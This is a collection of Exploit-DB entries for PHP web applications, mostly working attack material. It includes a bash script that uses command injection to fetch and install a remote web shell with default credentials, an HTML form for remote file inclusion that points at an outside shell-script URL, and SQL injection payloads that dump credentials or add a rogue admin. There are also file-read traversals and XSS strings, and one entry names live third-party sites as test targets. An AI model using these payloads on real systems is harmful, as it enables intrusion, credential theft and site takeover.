deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4151
Description: AsteriDex 3.0 - 'callboth.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2007-07-05
Author: Carl Livitt

Exploit:
##
## Begin exploit
##
#!/bin/bash

echo Asteridex PoC Exploit (callboth.php vulnerability)
echo By Carl Livitt / Hoku Security / June 2007
echo

# This has to be (a) a valid SIP address, and (b) must answer when dialled.
# The exploit will fail without these conditions being met.
# Currently uses the Melonite SIP echo test service.
SIP="190@sip.melonite.nu"

# Magic number, don't change. The default installation of AsteriDex checks
# for this number and fails without it.
SEQ=654321

# Other stuff we need
LOC=/asteridex/callboth.php
OUT=123456

# Sanity
if [ "$1X" == "X" ]; then
       echo Syntax: $0 \<Host IP\[:port\]\>
       echo For example: $0 www.example.com:8080
       exit 1
fi

# Insanity
echo "[-] Exploiting host $1 - please wait"
echo -n '[+]' Building shell script
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20\!/bin/sh>/tmp/t%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20wget%20%2dO%20x.tar.bz2%20%5c%27http://%3e%3e/tmp/t%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20prdownloads.sf.net/phpshell/%3e%3e/tmp/t%0d%0a" &>/dev/null
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20phpshell%2d2.1.tar.bz2%3fdownload%5c%27%3e%3e/tmp/t%0d%0a" &>/dev/null
echo '[+] Executing shell script'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp;chmod%20%2bx%20t;./t;tar%20jxf%20x.tar.bz2%0d%0a" &>/dev/null
echo -n '[+] Setting up phpshell'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20cd%20/tmp;mv%20phpshell-2.1%20p%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%5c%5busers%5c%5d>config.php%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%27trixbox%3d%22trixbox%22%27>>config.php%0d%0a" &>/dev/null
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20mv%20/tmp/p%20/var/www/html/phpshell%0d%0a" &>/dev/null

# Have a nice day
echo "Done! You should now be able to browse to http://$1/phpshell/phpshell.php"
echo You can login with the username \'trixbox\' and password \'trixbox\'

##
## End Exploit
##

# milw0rm.com [2007-07-05]
Exploit-DB #38375
Description: Asteriskguru Queue Statistics - 'warning' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-10
Author: Manuel García Cárdenas

Exploit:
source: https://www.securityfocus.com/bid/58418/info

Asteriskguru Queue Statistics is prone to an cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/public/error.php?warning=<XSS injection>
Exploit-DB #17825
Description: AstroCMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-12
Author: brain[pillow]

Exploit:
# Exploit Title: AstroCMS Multiple Remote Vulnerabilities
# Google Dork: none
# Date: 12.03.2011
# Author: brain[pillow]
# Software Link: http://www.astrocms.com/
# Version: UNKNOWN

============================================================
FORGOT_PASSWORD SQL-INJ EXPLOIT:
============================================================

 /registration/forgot/

 a' union select 0,0,0,0,concat_ws(0x3a,login,password,email,status ,level),0,0,0,0,0,0,0 from auth_users where id=5#

id=6 - usually admin

============================================================
REGISTER_USER EXPLOIT:
============================================================
 /registration/

adrnin','4297f44b[PII_REDACTED]b2497399d7a93','adrnin ','okk@mail.com',1,5,'','','')#

Submitting this to "login field" will add "adrnin" user with admin rights and password "123123".
Usually 5 - is admin group.

============================================================
READ FILE EXPLOIT:
============================================================

 /include/get_js.php4?fname=../htdocs/include/config_mysql.inc%00.js

OR:

 /include/get_js.php?fname=../htdocs/include/config_mysql.inc%00.js
Exploit-DB #34709
Description: Astrology - 'celebrities.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43470/info

Astrology is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/astrology/celebrities.php?month=01&day=1<ScRiPt %0A%0D>alert[PII_REDACTED]20)%3B</ScRiPt>
http://www.example.com/celebrities.php?month=01&day=1<ScRiPt %0A%0D>alert[PII_REDACTED]20)%3B</ScRiPt>
Exploit-DB #6758
Description: AstroSPACES 1.1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-15
Author: TurkishWarriorr

Exploit:
# AstroSPACES (profile.php) SQL

  Powered by Philippine Website Developers and AstroSPACES Â© P3NET 2006-2007
#########################################################################
#
# AUTHOR : TurkishWarriorr  (Sehitler Ã–lmez Vatan BÃ¶lÃ¼nmez ....)
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORK : Powered By AstroSPACES
#
##########################################################################
EXPLOIT :

profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


test sites:

http://quirino.com.ph/friendster/profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


E mail login :

http://quirino.com.ph/friendster/space.php?action=memberlist

##########################################################################
                               www.1923turk.org                    
                        turkish-warriorr@hotmail.com

# milw0rm.com [2008-10-15]
Exploit-DB #3297
Description: AT Contenator 1.0 - 'Root_To_Script' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-13
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://contenator.ansatheus.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include($Root_To_Script.'class.readdir.php');
//'include($Root_To_Script.'SETUP_VARS.php');
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/classes/"
   var adres="/_admin/nav.php?" //File name
   var acik ="Root_To_Script=" // Line 2-3
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-13]
Exploit-DB #36521
Description: Atar2b CMS 4.0.1 - 'gallery_e.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-07
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/51317/info

Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/gallery_e.php?id=118+order+by+10--
Exploit-DB #36523
Description: Atar2b CMS 4.0.1 - 'pageE.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-07
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/51317/info
  
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageH.php?id=104'
Exploit-DB #36522
Description: Atar2b CMS 4.0.1 - 'pageH.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-07
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/51317/info
 
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageE.php?id=118+order+by+10--
Exploit-DB #5474
Description: Aterr 0.9.1 - PHP5 Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-19
Author: KnocKout

Exploit:
Atter 0.9.1 Local File Inclusion Vulnerability

#################################################

Author : KnocKout
ThanX : CW ALL USERS

=================================================

Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5

Attackz :

http://localsite.com/path/include/functions.inc.php?class=[Local File]
http://localsite.com/path/include/common.inc.php?file=[Local File]

#################################################

# milw0rm.com [2008-04-19]
Exploit-DB #26598
Description: Athena PHP Website Administration 0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-11-26
Author: [GB]

Exploit:
source: https://www.securityfocus.com/bid/15574/info

Athena PHP Website Administration is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_to_athena/athena.php?athena_dir=http://[attacker_url]
Exploit-DB #23513
Description: Athena Web Registration - Remote Command Execution
Type: webapps
Platform: php
Date: 2004-01-02
Author: Peter Kieser

Exploit:
source: https://www.securityfocus.com/bid/9349/info

A problem has been reported in the handling of user-supplied input by the Athena Web Registration scripts. Because of this, it may be possible for an attacker to gain unauthorized access to a vulnerable system. 

http://www.example.com/athenareg.php?pass=%20;whoami
Exploit-DB #36401
Description: AtMail 1.04 - 'func' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-01
Author: DognÃ¦dis

Exploit:
source: https://www.securityfocus.com/bid/50877/info

AtMail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AtMail 1.0.4 is vulnerable; other versions may also be affected. 

GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script>
GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script>
Exploit-DB #39081
Description: Atmail WebMail - 'INBOX.Trash?mailId' Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-25
Author: Vicente Aguilera Diaz

Exploit:
source: https://www.securityfocus.com/bid/65408/info
  
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B%5D=[XSS]
Exploit-DB #39080
Description: Atmail WebMail - 'searchResultsTab5?filter' Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-25
Author: Vicente Aguilera Diaz

Exploit:
source: https://www.securityfocus.com/bid/65408/info
 
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=[XSS]
Exploit-DB #39079
Description: Atmail WebMail - Message Attachment File Name Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-25
Author: Vicente Aguilera Diaz

Exploit:
source: https://www.securityfocus.com/bid/65408/info

Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/[XSS]
Exploit-DB #34585
Description: Atmail Webmail 7.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-08
Author: smash

Exploit:
#Title: Atmail Webmail =>7.2 - Multiple XSS & FPD
#Date: 01.27.2014
#Vendor: atmail.com
#Version: =>7.2 (Latest ATM), tested also on 7.1.1
#Authors: Smash_ & Brag / smash[at]devilteam.pl
#PoC: poczta.pl / demo.atmail.com
 
1. Cross Site Scripting
 
 a) GET - viewmessageTabNumber
 
Request:
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
Injection point (line 16):
<input type="hidden" name="tabId" value="viewmessageTab3"><h1>XSS<!--
 
PoC:
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
 b) POST - filter
 
 
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1
Host: www.poczta.pl
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<script>alert(666)</script>
 
Alert will appear; injection point:
<div id=\"noMessageDisplay\" style=\"margin:10px;\">\n\t\t\t\tFound no messages matching <script>alert(666) (...)
 
 c) POST - Search Results Tab
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1
Host: http://www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"resultContext\" id=\"resultContext\" value=\"searchResultsTab1\" whats=\"up\" bad=\"\" \/>
 
d) POST - page
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2"%20xss="true"%20bad=" HTTP/1.1
Host: www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"pageNumber\" id=\"pageNumber\" value=\"2\" xss=\"true\" bad=\"\" \/>
 
 
2. Full Path Disclosure
 
Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/
 
Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)
 
3. Persistent XSS - Theme Color
 
Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1
Host: www.poczta.pl
 
Now, whenever someone will login alert will appear.
Injection point:
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">
 
4. Persistent XSS - Forward a Message
 
First, compose your message and attach an image. Image name should consist
JS code, for example: "><img src=x onerror=prompt(1)>.
 
Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:
 
<a class=\"attach-btn\" href=\"#\" onClick=\"removeAttachment('bobs.\\\"><img src=x onerror=prompt(1)> (...)
 
P.S - Login and password are sent as plaintext.
                                        ... which is bad.
Exploit-DB #39015
Description: Atmail Webmail Server - Email Body HTML Injection
Type: webapps
Platform: php
Date: 2014-01-14
Author: Zhao Liang

Exploit:
source: https://www.securityfocus.com/bid/64779/info

Atmail Webmail Server is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Atmail 7.1.3 is vulnerable; others versions may also be affected. 

 <iframe width=0 height=0 src="javascript:alert('xss in main body')">
Exploit-DB #51086
Description: Atom CMS v2.0 - SQL Injection (no auth)
Type: webapps
Platform: php
Date: 2023-03-27
Author: Hubert Wojciechowski

Exploit:
# Exploit Title: Atom CMS v2.0 - SQL Injection (no auth)
# Date: 15/10/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example
-----------------------------------------------------------------------------------------------------------------------
Param: id
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------

POST /Atom.CMS-master/admin/index.php?page=users&id=(select*from(select(sleep(10)))a) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/Atom.CMS-master/admin/index.php?page=users&id=1
Cookie: phpwcmsBELang=en; homeMaxCntParts=10; homeCntType=24; PHPSESSID=k3a5d2usjb00cd7hpoii0qgj75
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

first=Alan2n&last=Quandt&email=alan%40alan.com&status=1&[CREDENTIAL_REDACTED]=&submitted=1&id=1
--------------------------------------------------------------------------------------------------------------------- --
Response wait 10 sec
-----------------------------------------------------------------------------------------------------------------------
Other URL and params
-----------------------------------------------------------------------------------------------------------------------
/Atom.CMS-master/admin/index.php [email]
/Atom.CMS-master/admin/index.php [id]
/Atom.CMS-master/admin/index.php [slug]
/Atom.CMS-master/admin/index.php [status]
/Atom.CMS-master/admin/index.php [user]
Exploit-DB #30161
Description: Atom Photoblog 1.0.1/1.0.9 - 'AtomPhotoblog.php' Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-07
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24363/info

Atom PhotoBlog is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input data before rendering it in a user's browser. These issues include multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability.

Attackers could exploit these issues to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

Versions prior to Atom PhotoBlog 1.0.9.1 are vulnerable.

http://www.example.com/atomphotoblog/atomPhotoBlog.php?do=index&tag=<ScRiPt%20%0a%0d>alert[PII_REDACTED])%3B</ScRiPt>